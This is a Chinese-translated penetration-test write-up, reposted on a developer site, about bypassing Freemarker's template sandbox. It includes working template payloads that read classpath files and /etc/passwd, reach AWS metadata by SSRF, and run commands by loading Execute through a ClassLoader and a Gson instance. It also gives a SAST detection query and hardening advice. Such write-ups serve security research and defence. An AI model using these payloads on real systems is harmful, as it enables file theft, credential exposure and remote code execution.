Freemarker模板注入 Bypass

栏目: Java · 发布时间: 4年前

内容简介:原文链接:https://ackcent.com/blog/in-depth-freemarker-template-injection/

Freemarker模板注入 Bypass

原文链接:

https://ackcent.com/blog/in-depth-freemarker-template-injection/

原文作者:

Toni Torralba

恭喜翻译作者Hulk@先知社区

价值100元的天猫超市享淘卡一张

欢迎更多优质原创,翻译作者加入

ASRC文章奖励计划

欢迎多多投稿到先知社区

每天一篇优质技术好文

点滴积累促成质的飞跃

今天也要进步一点点呀

前言

在最近一次渗透测试中,AppSec团队碰到了一个棘手的Freemarker服务端模板注入。我们在网上没有找到深入研究有关这类注入的文章,于是决定写下本文。对于这篇Freemarker注入的文章来说,我们将着重介绍我们是如何灵活变通,尝试各种方法,最后成功注入。

概述

我们被分配测试一个内容管理系统(CMS)应用,用户可以通过这个CMS在网上发布各种内容。在本次测试中,我们只有一些低权限账户,因此,测试的一个重要目标就是弄清楚是否存在一些越权漏洞,并尝试取得最高权限。

经过一些探索性测试后,我们偶然发现了一个功能,用户可以通过其按钮来管理模板。这个模板为Freemarker,我立马想到可能存在服务端模板注入漏洞。有一个快速,公开的的Poc常用于该模板,能够获取任意代码执行权限:

<#assign ex="freemarker.template.utility.Execute"?new()> ${ex("id)}

但问题是我们的账户权限非常低,没有编辑模板的权限,因此我们首先需要提升权限。很幸运,经过几个小时的努力,最后发现权限管理系统存在一个认证缺陷,利用这点我可以窃取站点管理员权限。Nice!下一步是尝试代码执行。我们创建一个模板,粘贴Poc然后获得以下反馈:

Instantiating freemarker.template.utility.Execute is not allowed in the template for security reasons.

好吧,它并不是不堪一击。

模板类解析器

Freemarker模板为了限制 TemplateModels 被实例化,在其配置中注册了TemplateClassResolver。下面是三个预定义的解析器:

  • UNRESTRICTED_RESOLVER :简单地调用 ClassUtil.forName(String)

  • SAFER_RESOLVER :和第一个类似,但禁止解析 ObjectConstructorExecutefreemarker.template.utility.JythonRuntime

  • ALLOWS_NOTHING_RESOLVER :禁止解析任何类。

目标使用的模板类解析器为: ALLOWS_NOTHING_RESOLVER ,所以我们无法使用 ?new 。也就是我们不能使用任何 TemplateModel ,不能利用它来获取任意代码执行。我们开始阅读Freemarker说明文档,想找到其他办法来造成服务端模板注入。

Freemarker内置的 ?api

经过一番搜寻,我发现Freemarker支持一个内置函数:?api,通过它可以访问底层Java Api Freemarker的 BeanWrappers

这个内置函数默认不开启,但通过Configurable.setAPIBuiltinEnabled可以开启它。我们非常幸运,因为目标模板的这个函数是开启的,我们可延伸的方向又多了起来。

但执行代码仍非易事:Freemarker模板有很好的安全防护,它严格限制 ?api 访问的类和方法。在其官方的Github存储库中,我们发现一个特性文件,该文件列出了禁止调用的名单。

简单归纳:我们无法调用

Class.forNameClass.getClassLoader ,  Class.newInstance ,  Constructor.newInstanceMethod.invoke 。获得任意代码执行权限的机会渺茫。但通过 Java 调用和表达式一定还存在其他有趣的方法可以实现,我们没有气馁,仍继续探索。

访问类路径中的资源

我们后来发现 Object.getClass 没有被禁用。利用它可以通过模板中公开的 BeanWrapper 来访问 Class<?> 类,并从其中调用getResourceAsStream。然后,我们就可以访问该应用类路径中的任意文件了。通过这个方法读取文件内容可能有些复杂(可能有其他捷径)。我们尝试下面这段代码:

<#assign is=object?api.class.getResourceAsStream("/Test.class")>
FILE:[<#list 0..999999999 as _>
    <#assign byte=is.read()>
    <#if byte == -1>
        <#break>
    </#if>
${byte}, </#list>]

(注意这里的 object 是一个 BeanWrapper ,它是模板自带的数据模型之一)在渲染模板后,所选文件的每个字节都会呈现出来,并且以 [] 间隔开来。这有点繁琐,通过 Python 脚本可以快速将其转换为一个文件。

match = re.search(r'FILE:(.*),\s*(\\n)*?]', response)
literal = match.group(1) + ']'
literal = literal.replace('\\n', '').strip()
b = ast.literal_eval(literal)
barray = bytearray(b)
with open('exfiltrated', 'w') as f:
    f.write(barray)

然后,我们就可以列出目录的所有内容,我们可以访问 .properties 这类敏感文件,它们可能包含一些访问凭据,还可以下载 .jar.class 文件,从而反编译获取程序源代码。这时,渗透测试似乎变成代码审计,AppSec团队在这方面有丰富的经验。一段时间后,我们发现一个大奖,在源代码中找到了AWS的明文凭据,利用它可以访问高价值的AWS S3储存桶。这是个血的教训:(开发者)千万不能因为“黑客无法访问它”而将明文凭据放在源代码中。

读取系统任意文件

我们被困在类路径中,有些无聊,于是继续深入发掘。仔细阅读Java文档后,我们发现可以通过 Class.getResource 的返回值来访问对象 URI ,该对象包含方法 toURL 。因为URI提供静态方法 create ,通过该方法我们可以创建任意 URI ,然后用 otURL 将其返回至 URI 。经过一些修改,我们构造下面这段代码来窃取系统的任意文件:

<#assign uri=object?api.class.getResource("/").toURI()>
<#assign input=uri?api.create("file:///etc/passwd").toURL().openConnection()>
<#assign is=input?api.getInputStream()>
FILE:[<#list 0..999999999 as _>
    <#assign byte=is.read()>
    <#if byte == -1>
        <#break>
    </#if>
${byte}, </#list>]

这段代码很好,但仍不是完美的。我们使用 http://https://ftp:// )替换掉 file:// ,此时一个受限的模板注入变成一个完全的服务端模板注入了!为进一步扩大影响,我们可以通过它来查询AWS元数据。

Cool,让我们进一步探究能否再干点什么。

通过ProtectionDomain来获取ClassLoader

重新读完Java文档的Class部分后,我们注意到了 getProtectionDomain 方法。通过该方法可以访问对象ProtectionDomain,巧合的是,该对象有自己的 getClassLoader 方法。Freemarker的 unsafeMethods.properties 文件没有限制调用 ProtectionDomain.getClassLoader ,因此我们找到了一个通过模板访问 ClassLoader 的方法。

现在我们可以加载引用任意类(即 Class<?> 对象),但是我们仍不能实例化它们或调用其方法。尽管这样,我们可以检查字段,如果是 static 的我们还可以获取它们的值(对于非静态,我们没有合适的实例来访问它们)。这似乎有点希望,我们查获取最终的代码执行只差一步。

任意代码执行

前面我们通过 getResourceAsStream 方法已经下载了一大堆源代码,这时我们再次审查它们,搜寻可以可以加载并且有静态字段的类。一会儿后,我们找到了:一个字段为 public static final 的类,它是Gson的一个实例。Gson是一个谷歌创建的JSON对象操作库,它的安全性很高。但我们目前可以访问实例,要想实例化任意类只是时间问题:

<#assign classLoader=object?api.class.protectionDomain.classLoader>
<#assign clazz=classLoader.loadClass("ClassExposingGSON")>
<#assign field=clazz?api.getField("GSON")>
<#assign gson=field?api.get(null)>
<#assign instance=gson?api.fromJson("{}", classLoader.loadClass("our.desired.class"))>

(我们通过 Field.get 访问静态字段,所以并不需要参数,只需简单使用 null 。)

我们可以实例化任意对象。但因为 unsafeMethods.properties 安全政策的存在, Runtime.getRuntime 等方法无法实现,我们不能直接获取代码执行。但我突然发现,使用Freemarker自带的模板模型 Execute ,并且无需使用内置的 ?new 来实例化。OK,问题都解决了,我们找到了获取任意代码执行的方法:

<#assign classLoader=object?api.class.protectionDomain.classLoader>
<#assign clazz=classLoader.loadClass("ClassExposingGSON")>
<#assign field=clazz?api.getField("GSON")>
<#assign gson=field?api.get(null)>
<#assign ex=gson?api.fromJson("{}", classLoader.loadClass("freemarker.template.utility.Execute"))>
${ex("id")}

反馈:

uid=81(tomcat) gid=81(tomcat) groups=81(tomcat)

SAST查询

开发者如果在早期用SAST扫描其源代码,该问题在开发阶段就能解决,而不至于拖到今天,并且修复起来也更简单。在SAST工具上,我写了下面这段查询,它是一个出色的代码审计工具:

CxList setApiBuiltIn = Find_Methods().FindByShortName("setAPIBuiltinEnabled");
CxList setApiBuiltInParams = All.GetParameters(setApiBuiltIn);
result = setApiBuiltIn.FindByParameters(setApiBuiltInParams.FindByShortName("true"));

Freemarker内置的 ?api 默认不开启,所以使用 ture 可以轻松查找 setAPIBuiltinEnabled 方法的调用,并从报告结果中获取漏洞提升。

小结

本文,我们分享了当Freemarker的 TemplateClassResolver 全部禁用时如何绕过,间接造成模板注入。通过利用内置的 ?api ,发现获取敏感数据的方法,并且通过过与某个特殊类的组合来造成任意代码执行。

总结几个重点:

  • 首先,赋予用户创建编辑动态模板的权限是非常危险的。模板语言是世界上最好的语言(●ˇ∀ˇ●),我们需要更加谨慎地处理它,同时在分配权限时需要考虑到,模板编辑的权限是否只是Web服务器管理员(防御潜在的越权漏洞)才有。

  • 内置 ?api 是否开启?攻击者滥用它可以做一些危险的事,例如下载源代码,造成SSRF或者RCE。这就是它默认关闭的原因。除非迫不得已,请勿开启它。

  • Java在开发代码阶段提供了一些保护措施,开发者应该正视它:当攻击者实现了JVM中的某种代码执行时,(代码中)暴露的或者通过 Serializable 类泄露的敏感数据有着极高的风险。Freemarker自带一些保护措施(例如关闭像 setAccessible 这样危险的映射方法),具有良好的安全性和经得起实践的代码总能使攻击者举步维艰。

总之,这是一次非常棒的渗透测试,在发现禁用如何解析器时我们对获取代码执行几乎绝望,但绕过的过程很有趣。此外,我们希望这篇文章对于发现自己处于类似情况,研究在受限或者沙盒中如何突破限制的渗透测试者所有帮助。

Freemarker模板注入 Bypass

Freemarker模板注入 Bypass

Freemarker模板注入 Bypass

请猛戳右边二维码

Twitter:AsrcSecurity

公众号ID

阿里安全响应中心

Freemarker模板注入 Bypass


以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

学习JavaScript数据结构与算法(第2版)

学习JavaScript数据结构与算法(第2版)

[巴西] Loiane Groner / 邓 钢、孙晓博、吴 双、陈 迪、袁 源 / 人民邮电出版社 / 2017-9 / 49.00元

本书首先介绍了JavaScript 语言的基础知识以及ES6 和ES7 中引入的新功能,接下来讨论了数组、栈、队列、链表、集合、字典、散列表、树、图等数据结构,之后探讨了各种排序和搜索算法,包括冒泡排序、选择排序、插入排序、归并排序、快速排序、堆排序、计数排序、桶排序、基数排序、顺序搜索、二分搜索,然后介绍了动态规划和贪心算法等常用的高级算法以及函数式编程,最后还介绍了如何计算算法的复杂度。一起来看看 《学习JavaScript数据结构与算法(第2版)》 这本书的介绍吧!

JS 压缩/解压工具
JS 压缩/解压工具

在线压缩/解压 JS 代码

URL 编码/解码
URL 编码/解码

URL 编码/解码

HSV CMYK 转换工具
HSV CMYK 转换工具

HSV CMYK互换工具